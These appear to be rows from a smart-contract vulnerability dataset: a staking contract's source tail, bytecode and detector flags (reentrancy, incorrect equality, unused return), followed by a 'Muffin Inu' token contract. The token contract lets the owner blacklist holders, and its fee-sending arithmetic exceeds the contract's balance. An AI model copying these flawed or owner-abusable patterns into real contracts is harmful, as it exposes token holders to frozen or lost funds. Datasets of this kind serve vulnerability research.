// uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = now;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = now.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
}
|
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80638b7afe2e1161011a578063c326bf4f116100ad578063d7130e141161007c578063d7130e1414610877578063e027c61f14610895578063f2fde38b146108b3578063f3f91fa0146108f7578063fe547f721461094f576101fb565b8063c326bf4f146107c5578063ca7e08351461081d578063d1b965f31461083b578063d578ceab14610859576101fb565b806398896d10116100e957806398896d10146107035780639f54790d1461075b578063ac51de8d14610779578063b6b55f2514610797576101fb565b80638b7afe2e1461065f5780638da5cb5b1461067d5780638e20a1d9146106c75780638f5705be146106e5576101fb565b8063308feec3116101925780634e71d92d116101615780634e71d92d146105c15780636270cd18146105cb57806365ca78be146106235780637e1c0c0914610641576101fb565b8063308feec3146104d357806331a5dda1146104f1578063452b4cfc1461053b57806346c6487314610569576101fb565b806319262d30116101ce57806319262d30146103ab5780631cfa8021146104035780631f04461c1461044d5780632e1a7d4d146104a5576101fb565b806305447d25146102005780630813cc8f146103655780630c9a0c781461036f5780630f1a64441461038d575b600080fd5b6102366004803603604081101561021657600080fd5b81019080803590602001909291908035906020019092919050505061096d565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561028557808201518184015260208101905061026a565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102c75780820151818401526020810190506102ac565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156103095780820151818401526020810190506102ee565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561034b578082015181840152602081019050610330565b505050509050019850505050505050505060405180910390f35b61036d610c86565b005b610377610d39565b6040518082815260200191505060405180910390f35b610395610d3f565b6040518082815260200191505060405180910390f35b6103ed600480360360208110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d45565b6040518082815260200191505060405180910390f35b61040b610db5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61048f6004803603602081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddb565b6040518082815260200191505060405180910390f35b6104d1600480360360208110156104bb57600080fd5b8101908080359060200190929190505050610df3565b005b6104db6113b9565b6040518082815260200191505060405180910390f35b6104f96113ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b81019080803590602001909291905050506113f0565b005b6105ab6004803603602081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f1565b6040518082815260200191505060405180910390f35b6105c9611609565b005b61060d600480360360208110156105e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611614565b6040518082815260200191505060405180910390f35b61062b61162c565b6040518082815260200191505060405180910390f35b610649611632565b6040518082815260200191505060405180910390f35b610667611638565b6040518082815260200191505060405180910390f35b61068561163e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106cf611663565b6040518082815260200191505060405180910390f35b6106ed611669565b6040518082815260200191505060405180910390f35b6107456004803603602081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061166f565b6040518082815260200191505060405180910390f35b6107636117b6565b6040518082815260200191505060405180910390f35b6107816117bc565b6040518082815260200191505060405180910390f35b6107c3600480360360208110156107ad57600080fd5b8101908080359060200190929190505050611833565b005b610807600480360360208110156107db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b6040518082815260200191505060405180910390f35b610825611b79565b6040518082815260200191505060405180910390f35b610843611b7f565b6040518082815260200191505060405180910390f35b610861611b85565b6040518082815260200191505060405180910390f35b61087f611b8b565b6040518082815260200191505060405180910390f35b61089d611b91565b6040518082815260200191505060405180910390f35b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b97565b005b6109396004803603602081101561090d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce8565b6040518082815260200191505060405180910390f35b610957611d00565b6040518082815260200191505060405180910390f35b60608060608084861061097f57600080fd5b60006109948787611d2290919063ffffffff16565b905060608167ffffffffffffffff811180156109af57600080fd5b506040519080825280602002602001820160405280156109de5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156109fa57600080fd5b50604051908082528060200260200182016040528015610a295781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610a4557600080fd5b50604051908082528060200260200182016040528015610a745781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610a9057600080fd5b50604051908082528060200260200182016040528015610abf5781602001602082028036833780820191505090505b50905060008b90505b8a811015610c6b576000610ae682600d611d3990919063ffffffff16565b90506000610afd8e84611d2290919063ffffffff16565b905081878281518110610b0c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610b9257fe5b602002602001018181525050601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610bea57fe5b602002602001018181525050600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610c4257fe5b6020026020010181815250505050610c64600182611d0690919063ffffffff16565b9050610ac8565b50838383839850985098509850505050505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b6000610ce96117bc565b9050806015541015610cfb5760155490505b6000811415610d0a5750610d37565b610d1381611d53565b610d2881601554611d2290919063ffffffff16565b60158190555042600b81905550505b565b60085481565b60075481565b6000600754610d9c601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b1115610dab5760019050610db0565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60136020528060005260406000206000915090505481565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ea8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610efd601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b11610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b610f7933611de1565b6000610fa4612710610f96600454856120f790919063ffffffff16565b61212690919063ffffffff16565b90506000610fbb8284611d2290919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b505050506040513d60208110156110b157600080fd5b8101908080519060200190929190505050611134576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b505050506040513d602081101561120757600080fd5b810190808051906020019092919050505061128a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6112dc83600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2290919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133483601754611d2290919063ffffffff16565b60178190555061134e33600d61213f90919063ffffffff16565b801561139957506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113b4576113b233600d61216f90919063ffffffff16565b505b505050565b60006113c5600d61219f565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561152657600080fd5b505af115801561153a573d6000803e3d6000fd5b505050506040513d602081101561155057600080fd5b81019080805190602001909291905050506115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b6115e881601554611d0690919063ffffffff16565b60158190555050565b60106020528060005260406000206000915090505481565b61161233611de1565b565b60126020528060005260406000206000915090505481565b60145481565b60175481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b60065481565b600061168582600d61213f90919063ffffffff16565b61169257600090506117b1565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156116e357600090506117b1565b6000611739601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601654611d2290919063ffffffff16565b90506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006117a860185461179a85856120f790919063ffffffff16565b61212690919063ffffffff16565b90508093505050505b919050565b60095481565b6000806117d4600b5442611d2290919063ffffffff16565b9050600061182961271061181b60065461180d866117ff6008546005546120f790919063ffffffff16565b6120f790919063ffffffff16565b61212690919063ffffffff16565b61212690919063ffffffff16565b9050809250505090565b600081116118a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6118b233611de1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561198f57600080fd5b505af11580156119a3573d6000803e3d6000fd5b505050506040513d60208110156119b957600080fd5b8101908080519060200190929190505050611a3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611a8e81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae681601754611d0690919063ffffffff16565b601781905550611b0033600d61213f90919063ffffffff16565b611b5e57611b1833600d6121b490919063ffffffff16565b5042601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600f6020528060005260406000206000915090505481565b600a5481565b60045481565b600c5481565b60035481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c2a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60116020528060005260406000206000915090505481565b60055481565b600080828401905083811015611d1857fe5b8091505092915050565b600082821115611d2e57fe5b818303905092915050565b6000611d4883600001836121e4565b60001c905092915050565b60006017541415611d6357611dde565b611da0611d8f601754611d81601854856120f790919063ffffffff16565b61212690919063ffffffff16565b601654611d0690919063ffffffff16565b6016819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b6000611dec8261166f565b9050600081111561206957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ea057600080fd5b505af1158015611eb4573d6000803e3d6000fd5b505050506040513d6020811015611eca57600080fd5b8101908080519060200190929190505050611f4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f9f81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff781600c54611d0690919063ffffffff16565b600c819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601654601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061211657508284828161211357fe5b04145b61211c57fe5b8091505092915050565b60008082848161213257fe5b0490508091505092915050565b6000612167836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612267565b905092915050565b6000612197836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61228a565b905092915050565b60006121ad82600001612372565b9050919050565b60006121dc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612383565b905092915050565b600081836000018054905011612245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123f46022913960400191505060405180910390fd5b82600001828154811061225457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461236657600060018203905060006001866000018054905003905060008660000182815481106122d557fe5b90600052602060002001549050808760000184815481106122f257fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061232a57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061236c565b60009150505b92915050565b600081600001805490509050919050565b600061238f8383612267565b6123e85782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506123ed565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a26469706673582212204bafc28f901e3967f465036a0ed381571a3920d875701152b934c2022a5ffa8c64736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,375 |
0xB1945F5887144A7f0d76B3Efc311229e35a4eA72
|
// Muffin Inu ($MUFFIN)
//Telegram: https://t.me/muffininutoken
/*
# # ###
## ## # # ###### ###### # # # # # # # #
# # # # # # # # # ## # # ## # # #
# # # # # ##### ##### # # # # # # # # # #
# # # # # # # # # # # # # # # #
# # # # # # # # ## # # ## # #
# # #### # # # # # ### # # ####
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MuffinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Muffin Inu";
string private constant _symbol = "MUFFIN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(6).mul(10));
_marketingFunds.transfer(amount.div(4).mul(10));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3500000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
